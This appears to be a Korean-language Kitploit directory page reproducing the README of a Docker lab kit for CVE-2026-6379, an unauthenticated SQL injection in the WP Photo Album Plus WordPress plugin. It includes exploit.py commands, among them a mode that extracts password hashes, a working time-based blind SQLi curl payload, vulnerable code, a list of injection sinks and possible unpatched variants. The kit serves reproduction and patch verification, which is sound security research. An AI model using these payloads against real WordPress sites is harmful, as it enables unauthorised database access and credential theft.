Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-6379 — # CVE-2026-6379 Docker 기반 랩 키트 WP Photo Album Plus의 인증되지 않은 SQL 인젝션 취약점인 CVE-2026-6379를 위한 Docker 기반 랩 키트입니다. 시간 기반 블라인드 PoC, 근본 원인 분석, 그리고 승인된 보안 연구를 위한 패치 검증을 포함합니다. | Kitploit
도구/GitHubGitHub/dinosn/cve-2026-6379
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityCTFPenetration TestingLearning & EducationLabs & Practice
GitHubdinosn/cve-2026-6379

cve-2026-6379

# CVE-2026-6379 Docker 기반 랩 키트 WP Photo Album Plus의 인증되지 않은 SQL 인젝션 취약점인 CVE-2026-6379를 위한 Docker 기반 랩 키트입니다. 시간 기반 블라인드 PoC, 근본 원인 분석, 그리고 승인된 보안 연구를 위한 패치 검증을 포함합니다.

저장소 보기
74개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-6379 — WP Photo Album Plus < 9.1.11.001 — 인증 없는 SQL 인젝션

파라미터: wppa-supersearch 심각도: WPScan/Wordfence 기준 CVSS 8.6 (높음) 공급업체 수정: 2026-04-17 (WordPressBugBounty 미러의 커밋 d2b0d05d) 공개 공개: 2026-04-27 (WPScan)

이 키트는 자체 포함된 Docker 랩과 작동하는 PoC를 제공하므로 버그를 처음부터 끝까지 재현, 검증, 교육할 수 있습니다.


TL;DR

root@kitploit:~
# 랩 호스트에서:
cd lab && ./setup.sh
# 설치 프로그램이 page_id와 함께 "=== LAB READY ==="를 출력하면:
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash

취약한 대상은 SLEEP 프로브에 ~5초 내에 응답하고, 패치된 대상은 <1초 내에 응답합니다.

수동 원라이너 확인:

root@kitploit:~
curl -sS -o /dev/null -w "%{time_total}\n" \
  "http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"

구조

root@kitploit:~
cve-2026-6379-wppa/
├── README.md                  # 이 파일
├── docs/
│   ├── writeup.md             # 근본 원인 + 패치 분석
│   └── prompts.md             # 이 키트를 만든 AI 연구 프롬프트
├── lab/
│   ├── docker-compose.yml     # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│   ├── setup.sh               # 시작 / 종료 / 정리
│   └── init/install.sh        # 멱등 설치 프로그램 (wp-cli)
└── pocs/
    ├── exploit.py             # 시간 기반 블라인드 SQLi (probe / version / user / hash)
    └── test_oracle.sh         # 종단 간 통합 테스트

버그 작동 방식 (한 문단)

wppa_get_photos()는 요청 파라미터 wppa-supersearch를 CSV s1,type,s3,DATA로 파싱합니다. type='o'(Owner)일 때 DATA는 SQL 문자열에 직접 연결됩니다:

root@kitploit:~
$query = "SELECT id FROM $wpdb->wppa_photos
          WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";

따옴표 처리도, $wpdb->prepare도 없습니다. wppa-supersearch=,o,,x' OR (...)-- -를 설정하면 따옴표로 묶인 owner를 이스케이프하고 임의의 SQL을 실행합니다. 엔드포인트는 [wppa] 숏코드를 호스팅하는 공개 프런트엔드 페이지이므로 인증이 필요 없습니다.

수정은 이전에 연결되었던 모든 케이스를 $wpdb->prepare(..., %s)로 감쌉니다.


동일한 패치(커밋 d2b0d05d)로 수정된 싱크

CVE-2026-6379 패치는 wppa-functions.php의 wppa_get_photos() 내부에 있는 여섯 개의 별도 SQL 싱크를 재작성합니다. 두 PoC 모드(probe 및 probe-calendar)는 각각 독립적인 싱크를 공격하며, 나머지는 페이로드 형태만 다릅니다. 모두 인증이 필요 없으며 기본 싱크와 동일한 wppa-occur=N 게이팅을 통해 접근할 수 있습니다.

#싱크 (취약한 라인)트리거 파라미터PoC 모드
1owner — WHERE owner = '$data' (라인 1244)wppa-supersearch=,o,,…--mode probe (라이브 검증됨)
2name — WHERE sname = '<wppa_name_slug($data)>' (라인 1237)wppa-supersearch=,n,,…악용되지 않음 (슬러그 필터가 따옴표 제거)
3tag — WHERE tags LIKE '%$d%' (라인 1254)wppa-supersearch=,g,,…wppa_sanitize_tags()에 의해 제한됨
4calendar exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%' (라인 1361)wppa-calendar=exifdtm&wppa-caldate=…--mode probe-calendar (라이브 검증됨)
5calendar timestamp — WHERE timestamp >= $t1 AND timestamp < $t2 (라인 1368)wppa-calendar=timestamp&wppa-caldate=…숫자 강제 변환 (intval) — 제한적
6calendar modified — timestamp와 동일 (라인 1375)wppa-calendar=modified&wppa-caldate=…숫자 강제 변환 — 제한적

라인 #4–#6은 동일한 커밋에서 매달린 ORDER BY $order 조각도 제거했습니다 — 아래 "관련 하드닝" 참조.


CVE-2026-6379와 함께 발견된 관련 문제

동일한 취약한 빌드에 대해 wppa-functions.php를 더 광범위하게 감사한 결과 CVE-2026-6379 패치 외부의 싱크가 발견되었습니다. 이는 WPScan/Wordfence가 공개한 것이 아니며 모두 동일하게 악용 가능한 것은 아니지만, 랩이 변종 사냥에도 유용하도록 여기에 문서화합니다.

stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — 별도의 취약점일 가능성

상태: 9.1.11.001(패치 후)에 존재. d2b0d05d에서 해결되지 않음. 후속 CVE 후보.

%s는 쉼표로 구분된 IN 목록에 유효하지 않습니다(항상 단일 따옴표 문자열을 생성). 플러그인은 준비된 문을 stripslashes()로 감싸서 이를 우회하는데, 이는 prepare()가 방금 추가한 이스케이프를 제거합니다 — 목록 요소가 공격자에 의해 오염된 경우 인젝션이 다시 열립니다.

대표적인 발생 위치: wppa-functions.php 라인 660, 711, 831, 838, 889, 895, 900, 971, 1028, 1034, 1041, 1122, 1144, 1190, 1410, 1414, 1465, 1470, 1476, 1481, 1491.

변종 분석을 위한 사냥 쿼리:

root@kitploit:~
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
  /var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php

ORDER BY $order — 부분적으로 해결됨

패치는 calendar/IN-절 싱크에서 ORDER BY $order를 제거했지만 다른 곳에는 남겨두었습니다. $order는 플러그인 런타임 상태(설정 테이블)에서 설정됩니다 — 악용 가능하려면 해당 상태에 대한 쓰기 경로가 필요합니다. 하드닝으로 취급하십시오.

SQL 새니타이저로 사용되는 wp_strip_all_tags() (#4의 변종)

wp_strip_all_tags는 HTML을 제거하지 SQL을 제거하지 않습니다. 따옴표로 묶인 SQL 조각 주변에 나타나는 곳마다 해당 조각은 인젝션 가능합니다. caldate 외에도 연결 전에 이 함수를 통과하는 다른 요청 값을 감사하십시오.


검증 매트릭스

상태probeprobe-calendar
취약 (9.1.10.011)[+] VULNERABLE — ~5.0s ≥ 3.5s[+] VULNERABLE — ~5.0s ≥ 3.5s
패치됨 (9.1.11.001)[-] Not confirmed — ~0.04s[-] Not confirmed — ~0.04s
플러그인 비활성화[-] Not confirmed — ~0.04s[-] Not confirmed — ~0.04s
[wppa] 숏코드가 없는 페이지[-] Not confirmed — ~0.04s[-] Not confirmed — ~0.04s

실행 중인 랩에서 버전 전환:

root@kitploit:~
# 패치됨:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
  plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
  --allow-root || true
# 프로브 재실행; 음성이어야 합니다.

안전

  • 격리된 네트워크에서만 실행하십시오. 이 버그는 인증이 필요 없습니다.
  • 랩은 기본 WP 자격 증명 admin / adminadmin을 사용합니다 — 인터넷에 노출하지 마십시오.
  • ./setup.sh purge로 종료합니다 (데이터베이스 볼륨 삭제).

참조

  • WPScan: https://wpscan.com/plugin/wp-photo-album-plus/
  • 패치 커밋: https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/commit/d2b0d05d
  • wppa-functions.php (취약): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.php
  • wppa-functions.php (패치됨): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php
도구 다운로드